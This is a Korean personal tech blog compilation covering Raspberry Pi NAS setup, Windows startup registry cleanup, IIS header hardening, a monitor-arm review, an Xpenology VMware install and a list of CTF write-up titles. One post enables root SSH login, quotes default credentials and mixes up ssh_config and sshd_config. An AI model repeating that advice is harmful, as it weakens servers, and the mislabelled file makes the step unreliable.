2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

[라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

루딘이 — Mon, 19 Jul 2021 22:42:02 +0900

기본 계정을 사용하는 것은

보안상 위험하기 때문에

라즈베리파이의 기본 계정(pi)를

자신만의 계정으로 변경해야 합니다.

root의 ssh 접속 허용

우선 root 권한으로

ssh에 접속해야 하기 때문에

root의 ssh 접속 권한을 허용합니다.

기본 계정인 pi 계정으로
SSH에 접속합니다.
(ID: pi / Password: raspberry)

SSH가 자동 시작되기 때문에

기본 계정인 pi의 비밀번호를

변경하라는 메세지도

같이 나타납니다.

pi 계정으로 ssh 접속

이제 root의 비밀번호를 변경합니다.

$ sudo passwd root

root의 비밀번호 변경

/etc/ssh/ssh_config 파일을 연 후,
PermitRootLogin 설정을 찾아서
yes로 변경합니다.

root 계정의 SSH 로그인을
허용하는 설정입니다.

$ sudo vi /etc/ssh/sshd_config
PermitRootLogin yes

root의 ssh 허용

설정한 후
ssh를 재시작합니다.
바꾼 설정을 적용하기 위해서 입니다.

$ sudo service sshd restart

ssh 재시작

사용자 변경

이제 사용자를 변경합니다.

우선 root로 ssh에 재접속합니다.
그후 pi의 홈 디렉토리 이름을
바꿀 계정의 이름으로 변경합니다.

$ mv /home/pi /home/[바꿀 계정]

홈 디렉토리 변경

명령어를 통해 pi 계정의 이름을 변경합니다.
$ usermod -l [바꿀 계정] pi

계정의 이름을 바꾼 후,
계정의 홈 디렉토리 또한 변경합니다.
$ usermod -m -d /home/[바꿀 계정] [바꿀 계정]

계정명 및 홈 디렉토리 변경

계정의 비밀번호 설정도
해야합니다.
$ passwd rudin

사용자 계정 비밀번호 설정

사용자 그룹 변경

사용자는 변경했으나,

그룹은 변경되지 않았습니다.

때문에 아직 pi 그룹이 남아있으며,
pi 그룹 권한을 가지는
파일들이 존재합니다.

$ find -group pi

pi 그룹 권한을 가지는 파일들

아래 명령어로 사용자의 그룹과

파일들의 그룹을 변경합니다.

~~먼저, 그룹을 생성합니다.~~
$ groupadd [그룹명]

사용자의 그룹을 변경합니다.
$ usermod -g [변경할 그룹 사용자]

# 2021.09.19 수정
$ groupmod -n [새로운 그룹명] pi
- pi 그룹의 이름을 다른 이름으로 변경
(보통 바꾼 계정의 이름)

사용자 그룹 변경

파일의 그룹 소유권도

바뀌었습니다.

파일의 그룹 소유권 변경

기본 설정 끝

이제 라즈베리파이 업데이트와

OMV5 설치를 해야합니다.

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

[라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

루딘이 — Mon, 19 Jul 2021 21:57:21 +0900

이번에 여러가지 이유로

홈 스트리밍 서버(미디어 서버)의 필요성을

다시 느끼게 되어

집에서 놀고 있는 라즈베리파이를 다시 꺼냈습니다.

지난 번 작업에서 불필요한 설정을 최소화했습니다.

OS 설치

OS 설치는

지난 번 작성한 글을

그대로 따라하시면 됩니다.

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

[라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

원래는 NAS로 헤놀로지(XPenology)를 설치하고 싶었으나... 집에서 먼지만 쌓여가는 라즈베리 파이를 사용하기 위해... 라즈베리파이에 OMV5를 설치하여 사용하려고 합니다. 준비물 라즈베리 파이에 N

chmodi.tistory.com

공유기 DHCP 설정

위 방법으로 OS설치를 하고 부팅을 하면

공유기에 의해 동적 IP가 잡히고

해당 IP로 SSH 접속을 하면 됩니다.

만약. IP를 고정하고 싶은 분은

일단, 공유기에서

라즈베리파이의 MAC과

원하는 IP를 고정합니다.

공유기에서 Raspberrypi IP-Mac 고정

재부팅을 여러번 하기 때문에

OMV 설치 전까지는

이 설정이 편합니다.

그리고, 라즈베리파이는

공유기와 유선으로 연결합니다.

파일 다운로드 및

스트리밍 서버이기 때문에

무선보다 빠른 유선이

편합니다.

SSH 자동 시작

현재는 임시로 SSH를 동작시킨

상태이기 때문에,

설정을 변경하여

부팅할 때마다 SSH를 동작하도록

설정해야 합니다.

1. 우선, 라즈베리파이 설정 Tool을 실행합니다.
$ sudo raspi-config

2. 아래 순서대로 선택합니다.
3 Interface Options > P2 SSH > Yes > OK

3 Interface Options 선택

P2 SSH 선택

Yes

Timezone 설정

한국으로 지역을 설정하는 방법입니다.

라즈베리파이 설정 tool을 실행합니다.

1. 우선, 라즈베리파이 설정 Tool을 실행합니다.
$ sudo raspi-config

2. 아래 순서대로 선택합니다.
5 Localisation Options > L2 Timezone > Asia - Seoul

5 Localisation Options 선택

L2 Timezone 선택

Asia - Seoul 선택

완료

다음 글에 이어서...

기본 계정을 변경해줘야 하는데

내용이 길어서 따로 작성합니다.

2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅

2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치

2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치

2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정

윈도우 10 시작프로그램 레지스트리로 관리하기(regedit.exe)

루딘이 — Wed, 5 May 2021 15:55:16 +0900

쓸 데없는 프로그램들이

시작프로그램에 등록되서

윈도우가 자꾸 느려진다.

레지스트리에서

등록된 시작프로그램을 삭제하여

좀더 쾌적하게 윈도우를 사용할 수 있다.

레지스트리의 시작프로그램 위치

레지스트리에서

시작프로그램들의 위치는 다음과 같다.

- HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

- HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

저 위치에서 원하지 않는

시작프로그램 값들을 삭제하면 된다.

작업 과정은 아래와 같다.

1. 실행(Ctrl + r) > regedit.exe > 엔터

2. 위의 레지스트리 위치로 이동

3. 원치 않는 시작프로그램 삭제

아래는 레지스트리의 모습이다.

레지스트리 모습

원하지 않는 프로그램의 키를 삭제하면

시작프로그램에 바로 적용된다.

시작프로그램 모습

[금취분평] 시스템 운영정보 노출 여부 항목 - IIS 보안 조치(URL Rewrite)

루딘이 — Tue, 23 Mar 2021 17:36:23 +0900

금융위 취약점 분석 평가 항목 중

시스템 운영정보 노출 항목에 대한

보안 조치 방안 중

윈도우 IIS에서 할 수 있는

조치 방안 입니다.

테스트 환경

이번 포스팅을 위해

세팅한 테스트 환경입니다.

OS: Window 10
Web: IIS 10.0

윈도우 PC의 IIS 서버 기능을

활성화하여 사용했습니다.

시스템 운영정보 노출?

21년 금취분평 항목에서

시스템 운영정보 노출 항목은

아래와 같이 설명하고 있습니다.

항목 명: 시스템 운영정보 노출 여부
대상: WEB, MOB, HTS
ID: SER-031
통제구분: (일반공통) 서비스 보호

상세 설명:
- 웹 서버의 소스 코드(HTML) 및 오류 메시지를 통한
정보 노출 가능성이 존재하며,
시스템 운영정보 노출 여부를 점검

평가 예시:
- 개발자 도구 및 웹 프록시 도구를 이용하여
서버로 부터 중요정보의 전달 여부 점검

- 에러 발생 시 절대 경로 주소나
웹 서버 버전 정보 등이
발생 여부 점검 등

평가 예시가 다양한 만큼

이 항목에 해당하는 취약점 또한

다양합니다.

이번 포스팅에서 설명할

보안 조치 방안에 대한

취약점은 아래와 같습니다.

HTTP Response에 나타난 서버 버전 정보

이 취약점은

HTTP Response의 Header에

서버의 버전 정보가

노출되는 취약점 입니다.

이걸로 무슨 해킹을 하냐고

할 수 있으나,

이 정보를 통해

사용 중인 서버의 정보를 파악하고

파악된 정보를 토대로

알려진 취약점(Zero-day 취약점)을

시도할 수 있습니다.

직접적인 공격이 아닌

제대로된 공격을 시도하기 위한

정보를 제공하는 취약점 입니다.

조치 방안: URL Rewrite 설치

URL Rewrite?
- Client의 요청(HTTP Request) 형태에 따라
HTTP Response의 형태를
재정의(Rewrite) 하는 모듈 입니다.

아래 링크에서 다운받아 설치하면 됩니다.

1.0과 2.0이 있는 데

아래 링크에서 재공하는

URL Rewrite가 2.0 이기 때문에

그냥 설치하시면 됩니다.

URL Rewrite 2.0 다운로드:
https://www.iis.net/downloads/microsoft/url-rewrite

URL Rewrite 2.0 다운로드 및 설치

URL Rewrite 설정

설치가 끝났으면 이제 설정을 시작합니다.

전체 요약은 아래와 같습니다.

1. IIS(인터넷 정보 서비스) 관리자 > 조치 대상 사이트 > URL 재작성 선택

2. 서버 변수 보기… > 추가… > RESPONSE_SERVER 입력 > 확인

3. 뒤로가기(URL 재작성) > 규칙 추가… > 아웃바운드 규칙 > 빈 규칙 선택

4. 아래와 같이 입력한 후 '적용' 선택
- 이름: 원하는 데로 입력
- 검색 범위: 서버 변수
- 변수 이름: RESPONSE_SERVER
- 패턴: .*

세부 순서 입니다.

1. IIS(인터넷 정보 서비스) 관리자 > 조치 대상 사이트 > URL 재작성 선택

URL 재작성 선택

2. 서버 변수 보기… > 추가… > RESPONSE_SERVER 입력 > 확인

서버 변수 보기 선택

RESPONSE_SERVER 입력

3. 뒤로가기(URL 재작성) > 규칙 추가… > 아웃바운드 규칙 > 빈 규칙 선택

아웃바운드 규칙 > 빈 규칙 선택

4. 아래와 같이 입력한 후 '적용' 선택
- 이름: 원하는 데로 입력
- 검색 범위: 서버 변수
- 변수 이름: RESPONSE_SERVER
- 패턴: .*

규칙 적용

조치 결과

다시 웹 페이지에 접근해보면

HTTP Response에서

서버 정보가 사라진 것을

확인할 수 있습니다.

사라진 서버 버전 정보

아래 X-Powered-By Header를 보면 ASP.NET 이 있는 데

이 정보 또한 서버 정보 노출에 해당합니다.

(이 서버에서 ASP.NET을 사용한다는 정보를 노출)

ASP.NET 정보 삭제 방법은
따로 포스팅할 계획 입니다.

루나랩 듀얼 모니터암 설치 및 사용 후기

루딘이 — Sat, 27 Feb 2021 23:31:47 +0900

최근 집에 새로 티비를 사면서

기존에 쓰던 32인치 티비를 방으로 가져왔습니다.

듀얼 모니터가 된 김에

요즘 유행인 모니터암을 구입해서

만족하며 사용 중입니다.

아래는 이번에 구입한 제품입니다.
https://coupa.ng/bSsd8D

루나랩 듀얼 모니터 암

COUPANG

www.coupang.com

택배 왔다!

택배가 왔다.

모니터 암을 사용하려면

모니터 뒤에 브라켓을 대고 연결해야하는 데

제 티비의 규격이 모니터 규격보다 커서

추가 브라켓을 구매했습니다.

브라켓 규격
- 모니터: 75 X 75, 100 X 100
- TV: 200 X 200

언박싱

우선 모니터 암 택배 상자 언박싱입니다.

비닐로 보장된 모니터 암과 설명서가 들어있습니다.

모니터 암 언박싱

이번에는 브라켓 언박싱입니다.

브라켓과 나사가 들어있습니다.

확장 브라켓 언박싱

확장 브라켓 부착

우선 티비에 확장 브라켓을 부착 했습니다.

우선 부착할 브라켓을 완성합니다.

브라켓 완성

TOP 글씨가 위로 가도록

티비에 부착해줍니다.

브라켓 부착!

지지대 고정

이제 모니터 암을 설치합니다.

지지대를 책상에 고정시킵니다.

지지대. 주먹만하다. 믿음직하다.

이렇게 고정시킵니다.

두께는 키보드 글자 키의 가로 길이 정도?

반 정도 더 클 수도 있습니다.

정확하게 재지는 않아서...

지지대 고정

암 연결

암을 연결할 차례입니다.

위 아래 두가지가 있으며

아래 사진이 아래에 위치합니다.

위로 밀면 공간이 생기는 데

그곳에 모니터 선을 넣어

선 정리를 할 수 있습니다.

연결 부위엔 부드럽게 돌아가도록

오일 같은 게 발라져있으니 조심하세요.

아래 쪽 암

다 설치하면 아래 처럼 된다.

모니터 선이 주렁주렁

모니터 연결

이제 모니터를 연결합니다.

모니터에 부착한 브라켓을

모니터 암 연결부위에 가져간 후

위에서 아래로 밀어 넣으면 됩니다.

여기서 모니터가 무거우면

고개가 숙여지는 데

모니터 암의 육각 나사를 조여

버티게 할 수 있습니다.

모니터 연결

모니터 위치 조정

모니터의 위치를 조정할 차례이다.

좌우로는 쉽게 이동하지만

위아래는 나사를 조여야 한다.

모니터 암 높낮이 조절

고개 조절

설명서에 자세히 나와 있습니다.

모니터 암 조절 방법

설치 끝!

모니터 암 설치와

모니터 연결이 끝나고

책상 정리까지 다한 모습입니다.

카메라 광각 때문에

우측 모니터의 길이가

2배나 길어졌습니다....

저런 와이드 모니터면

듀얼 안쓰지....

설치 끝!

근접 샷입니다.

근접 샷!

다시한번 제품 링크...

https://coupa.ng/bSsd8D

루나랩 듀얼 모니터 암

COUPANG

www.coupang.com

이거는 추가 브라캣 링크입니다.

https://coupa.ng/bSspgZ

[천삼백케이] [루나랩] 루나랩 베사확장브라켓 (200x100 200x200)

COUPANG

www.coupang.com

루나랩에서는 전용 책상도 있습니다.

조금 비싸요...

https://coupa.ng/bSspqP

루나랩 게이밍 책상 커브형 1500 + 일반 책상다리 방문설치

COUPANG

www.coupang.com

"파트너스 활동을 통해 일정액의 수수료를 제공받을 수 있음"

이 문구는 쿠팡 정책이라서...

대신증권 크레온(Creon) 문제점

루딘이 — Fri, 12 Feb 2021 03:05:30 +0900

2/12 BMBL(Bumble) IPO 거래 시작일임

IPO 특성상 언제 시작할지 몰라
무작정 대기해야함

(그래도 경험상 보통 미국 점심 이후에 시작)

2/12 02:35 BMBL 거래가 시작됨

거래 시작 전 크레온에서 BMBL 검색이 안됨

결국 거래가 시작된 후에도 BMBL 검색이 안되서

결국 거래를 못함

IPO 특징인 초반 3분 상승을 잡아야 하는데

크레온은 하락까지도 끝난 41분 쯤

BMBL이 검색되기 시작함

잃어버린 3분...

진짜 수수료는 겁나 처묵처묵하면서

일은 얼마나 대충하는 건지 의문임

[NAS 설치 1] VMware에 헤놀로지(Xpenolgoy) 설치

루딘이 — Sat, 16 Jan 2021 21:19:00 +0900

라즈베리파이에 NAS 작업하다가...

결국 다시 헤놀로지로 정착합니다.

준비물

~~돈이 있다면...~~

Jun's Mod 1.04b: 헤놀로지(Xpenology)를 설치하기 위한 부트 커널

OSFMount: 부트 커널을 수정하기 위한 툴

VMware / VirtualBox: 가상 머신, 여기다가 설치할꺼다.

Jun's Mod 1.04b 다운로드

Jun님은 Xpenology 커뮤니티에

글을 올리신다.

https://xpenology.com/forum/topic/12952-dsm-62-loader/

DSM 6.2 Loader

Hi, everyone, Thanks for you patience. A new ds918 loader support 6.2/6.21 is uploaded. whats new: uefi issue fixed. i915 driver updated. link https://mega.nz/#F!Fgk01YoT!7fN9Uxe4lpzZWPLXPMONMA (for DS918+) - v1.04b ---Beginning of addition by polanskiman-

xpenology.com

Jun's Mod 다운

다운로드 Link(Jun님의 링크이다):

link https://mega.nz/#F!Fgk01YoT!7fN9Uxe4lpzZWPLXPMONMA (for DS918+) - v1.04b

MEGA

MEGA provides free cloud storage with convenient and powerful always-on privacy. Claim your free 50GB now

mega.nz

OSFMount 설치

헤놀로지 설치하려면

Jun's Mod 수정이 필수이기 때문에

OSFmount를 설치해야한다.

다운로드:

www.osforensics.com/tools/mount-disk-images.html

OSFMount - Mount Disk Images & Create RAM Drives

OSFMount allows you to mount local disk image files (bit-for-bit copies of an entire disk or disk partition) in Windows as a physical disk or a logical drive letter. You can then analyze the disk image file with PassMark OSForensics™ by using the physica

www.osforensics.com

OSFMount 다운

Jun's Mod 마운트

이제 부트커널을 수정하기 위해

다운받은 Jun's Mod v1.04의 압축을 해제하고

OSFMount로 마운트 시킨다.

1. Jun's Mod v1.04 압축 해제
- synoboot.img 생성

2. OSFMount 실행

3. Mount new... -> Disk image file -> Next
- synoboot.img 선택

4. Mount partitions as virtual disks -> Next

5. Read-only drive 체크 해제 -> Mount

synoboot.img를 불러온다.

synoboot.img 마운트

Part 0을 선택하고 다음

Part 0 선택

Read-only drive의 체크를 해제하고

Mount 한다.

Read-only drive 해제 -> Mount

grub.cfg 수정

마운트하면 아래와 같이

파일들을 확인할 수 있다.

1. OSFMount에서 드라이버 확인

2. 마운트된 드라이버에서 grub.cfg 확인

OSFMount에서 마운트된 드라이버를 확인한다.

맥북(커스텀 맥, 해킨토시)에서

왜 마운트가 안되나 했는데

이제 보니 FAT이다.

~~(FAT도 마운트되지 않나...?)~~

D: 드라이버에 마운트됨

마운트된 드라이버로 가면

수정해야할 grub.cfg 파일이 보인다.

grub.cfg 확인

USB를 통해 설치해야할 경우,

수정해야할 내용이 많지만

VMware에 설치한다면

2 부분만 수정해주면 된다.

1. mac1 삭제
- 헤놀로지의 MAC address인데,
삭제하면 장비의 MAC address를 사용한다.

2. SataPortMap=3
- 실제 사용할 하드디스크의 개수
1: 부팅 디스크
2: 헤놀로지 설치 디스크
3: 외장하드 한개

mac1 삭제, SataPortMap=3

설정 끝이다.

저장하고 Dismount 해준다.

Dismount all & Exit

VMDK 생성

VMware에 설치하려면

img 파일을 vmdk 파일로 변경해야한다.

방법은 다양한데

나는 virtual box의 VBoxManage 툴로 변환했다.

$ VBoxManage convertfromraw synoboot.img synoboot.vmdk --format VMDK

다른 방법으론 아래 프로그램을 사용한다.
- StarWind V2V Converter

img to vmdk

여기서 부터는 맥북에서 작업했다.

~~(사실, 해킨토시...)~~

VBoxManage convertfromraw synoboot.img synoboot.vmdk --format VMDK

윈도우에서도 동일하지만,

Virtualbox를 설치하나

StarWind V2V Conveter를 설치하나...

단, Virtualbox 디스크 이미지인

VDI로 변경해서

Virtualbox에다가 설치해도 된다.

난 VMware가 좋아서...

VMware 생성

그냥 느낌가는 데로 하면 되는 데...

이걸 글로 쓰니

분량이 많다.

1. Create a custom virltual machine

2. Linux > Other Linux 2.6.x kernel 64-bit

3. UEFI 선택

4. Use an existing virtual disk 선택

5. Make a separate copy of the virtual disk 선택

6. 앞에서 생성했던 synoboot.vmdk 선택
Make a separate copy of the virtual disk 선택

7. Customize Settings 클릭

아, 윈도우에서 진행하면

화면이 많이 다를텐데

설정은 동일하다.

설치할 VMware를 생성한다.

Create a custom virtual machine

Linux > Other Linux 2.6.x kernel 64-bit 선택한다.

Linux > Other Linux 2.6.x kernel 64-bit 선택

UEFI를 선택한다.

UEFI 선택

Use an existing virtual disk를 선택한다.

Use an existing virtual disk 선택

앞에서 생성했던 vmdk를 선택하고,

Make a separate copy of the virtual disk를 선택한다.

Make a separate copy of the virtual disk 선택

아래 같이 VMware가 생성된다.

설정된 VMware

Customize Settings 클릭

Customize Settings 클릭

VMware를 생성한다.

vmware 생성

VMware 설정

이제 생성한 VMware의 설정을 해야한다.

1. Processors & Memory, Network Adapter, Hard Disk는 수정
- 프로세서와 메모리: 원하는 데로
- Network: Autodetect, 윈도우에선 Bridged Network
- Hard Disk: SATA 설정

2. CD/DVD(IDE), Sound Card, Printer, Camera 삭제

설정하거나 삭제해야할 목록이다.

메모리, 네트워크, 하드디스크는 변경해야하고,

나머지는 삭제해야 한다.

설정 대상들

우선 프로세서와 메모리를 수정한다.

원하는 값으로 설정하면 된다.

프로세서와 메모리 수정

다음으로 네트워크를 수정한다.

윈도우에선 Bridged Network로 설정해주면 된다.

Autodetect 선택

다음은 하드디스크 설정이다.

하드디스크를 선택한 후,

SCSI를 SATA로 변경한다.

SCSI > SATA로 변경

그리고 헤놀로지를 설치할 디스크를 추가해준다.

Xpenology 디스크 추가

설정이 끝난 모습이다.

설정 끝

Xpenology 설치

이제 VMware를 시작한다.

딱히 해줄건 없다.

Xpenology 부팅 화면. 이게 전부다.

이제 웹으로 접속하여

설치를 해야한다.

1. http://find.synology.com 접속

or

2. 집 공유기를 통해 Xpenlogy IP 확인

설치화면에 안내된 주소로 접속한다.

Link: http://find.synology.com

Synology Web Assistant

find.synology.com

접속하면 자동으로 검색을 시작하는 데

검색이 끝나면

아래와 같이 Xpenology의 정보가 나타난다.

아래 연결을 클릭하여 접속할 수 있다.

DiskStation 정보

공유기에 나타난 IP를 찾아 접속할 수도 있다.

DiskStation의 IP 확인

DiskStation으로 접속한다.

http://<DiskStation IP>:5000

접속한 후 설정을 클릭한다.

설정 클릭

수동 설치를 클릭한다.

수동 설치 클릭

미리 다운받은 DS 918+ 설치파일이 있으면,

선택하여 설치한다.

DSM_DS918+_25426.pat 파일이다.

설치 파일(.pat) 선택

다운받은 파일이 없다면,

Synology 의 다운로드 센터를 클릭하거나,

아래 링크에서 받으면 된다.

Link: www.synology.com/ko-kr/support/download/DS918+#system

다운로드 센터 - DS918+ | Synology Inc.

다운로드 센터 Synology 제품을 위한 운영 체제, 패키지, 데스크톱 유틸리티 등과 관련된 문서와 파일을 찾아 다양한 최신 기능을 사용할 수 있습니다. 사용하는 제품 범주와 해당 모델을 선택하십

www.synology.com

설치파일 다운로드(.pat 파일)

나는 참고로...

딱히 다운받지 않고 그냥 설치를 진행했다...

설치 진행 중, 10분 정도 걸린다.

다시 시작 중이다...

두근두근...

Xpenology 접속

다시 http://find.synolgoy.com 에 접속하면,

IP가 바뀐 것을 알 수 있다.

바뀐 IP로 접속한다.

IP가 바뀌었다.

처음 접속하면

NAS의 이름과 계정을 설정한다.

서버 이름과 계정 설정

QuickConnect는 정품 사용자용 기능이기 때문에

아래 이 단계 건너뛰기를 클릭한다.

이 단계 건너뛰기

find.synolgoy.com은 원하는 데로 하면 된다.

원하는 데로~

설치 끝! 마무리 설정하자!

설치가 끝났다

중요한 설정만 하고 마무리하련다.

일단, 장치 분석 아니요.

내 네트워크 대역과 나의 정보를 가져가지 말라.

아니요.

위쪽의 메인 메뉴 버튼 > 제어판을 클릭한다.

메뉴 버튼 > 제어판

업데이트 및 복원을 클릭한다.

업데이트 및 복원

업데이트 설정 > 새 업데이트~ 선택한다.

공식 부트 로더가 아니기 때문에

업데이트가 설치된 부트 로더와

호환되지 않으면

그대로 부팅을 못하게 된다.

업데이트는 테스트 하거나 후기를 본 후에 진행하자

끝!!!!!

나머지는

느낌 가는 데로

자유롭게 설정하면 된다.

뭐..

외장 하드 연결,

SSL 인증서 연결

고정 IP 설정

정도..?

빨리 찾고 쉬자. Tiprest

네이버 중고거래 안전결제 사기

우선 신고 / 제보 방법

의심 방법

1단계. 전화번호(or 안심번호)가 없다.

실제 사기글

2단계. 다른 수단으로 연락

3단계. 안전 결제 주소 안내

의심 1. 네이버는 판매글에서 바로 안전결제하는 구조

의심 2. 배송지 등록

의심 3. 안전결제 수수료

의심 4. naver.com 이 아님

의심 5. 중국 IP

IP 확인 방법

국가 확인 방법

마무리

계좌 번호 요청

계좌번호 조회 결과

체코 프라하 여행 정리

관련 글

여행 일정

체코어 기초 회화

교통권

+ 시내 교통

+ 공항 버스(AE)

현금 출금(수수료 무료 ATM)

헝가리 부다페스트 여행 정리

관련 글

일정

헝가리어 기초 회화

교통권

+ 공항버스 100E 이용(별도 구매)

+ M3 + 200E 이용(시내 교통권에 포함)

현금 출금(수수료 무료 ATM)

현지 유심칩

+ 피해야할 매점(Vodafone 데악광장점)

+ 추천 지점(뉴욕카페 근처)

부다페스트&프라하 일정 요약

관련 글

전체 일정 Gantt

날씨 및 주요 일정

To-Do

여행 경비

[Line CTF 2023] Web 7번: Another Secure Store Note

# 개요

# 환경 및 사이트 구성

# 분석

+ docker-compose.yml

+ /bot/pupeteer.js

+ /web/views/getSetting.js

+ /web/index.js

# 풀이

+ Solve!

[Line CTF 2023 Write Up] WEB 3번: Imagexif

# 개요

# 환경 구성

# 분석

+ docker-compose.yml

+ Dockerfile (backend 서버)

+ Python os.environ.get("FLAG")

# 풀이

+ CVE-2021-22204

+ 취약점 조치

+ Solve!

[Line CTF 2023 Write Up] WEB 4번: Adult Simple GoCurl

# 개요

# 환경 구성

# 분석

+ main.pl

# 풀이

+ X-Forwarded-Prefix Header

+ Solve!

[Line CTF 2023 Write Up] WEB 2번: Old Pal

# 개요

# 환경 구성

# 분석

+ main.pl

# 풀이

[Line CTF 2023 Write Up] WEB 1번: Baby Simple GoCurl

# 개요